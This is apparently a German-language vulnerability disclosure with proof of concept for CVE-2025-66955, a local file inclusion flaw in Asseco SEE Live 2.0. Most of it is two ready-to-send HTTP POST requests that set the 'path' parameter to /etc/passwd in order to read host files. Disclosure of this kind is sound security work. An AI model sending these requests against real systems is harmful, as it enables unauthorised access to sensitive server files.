thewoodenbench/cve-2025-66955Local File Inclusion in den Komponenten Kontaktplan, E-Mail, SMS und Fax in Asseco SEE Live 2.0 ermöglicht es remote authentifizierten Benutzern, über den „path“-Parameter in den API-Aufrufen downloadAttachment und downloadAttachmentFromPath auf Dateien auf dem Host zuzugreifen.
Lokale Dateieinbindung in den Komponenten Kontaktplan, E-Mail, SMS und Fax von Asseco SEE Live 2.0 erlaubt remote authentifizierten Benutzern, auf Dateien auf dem Host zuzugreifen, über den Parameter „path“ in den API-Aufrufen downloadAttachment und downloadAttachmentFromPath.
Die HTTP-Anfragen erfordern eine niedrige Authentifizierung.
POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"
HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"
Email.downloadAttachment
------WebKitFormBoundary
Content-Disposition: form-data; name="id"
[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"
[REDACTED]
------WebKitFormBoundary--
POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"
HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"
Email.downloadAttachmentFromPath
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"
[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="model"
Template
------WebKitFormBoundary--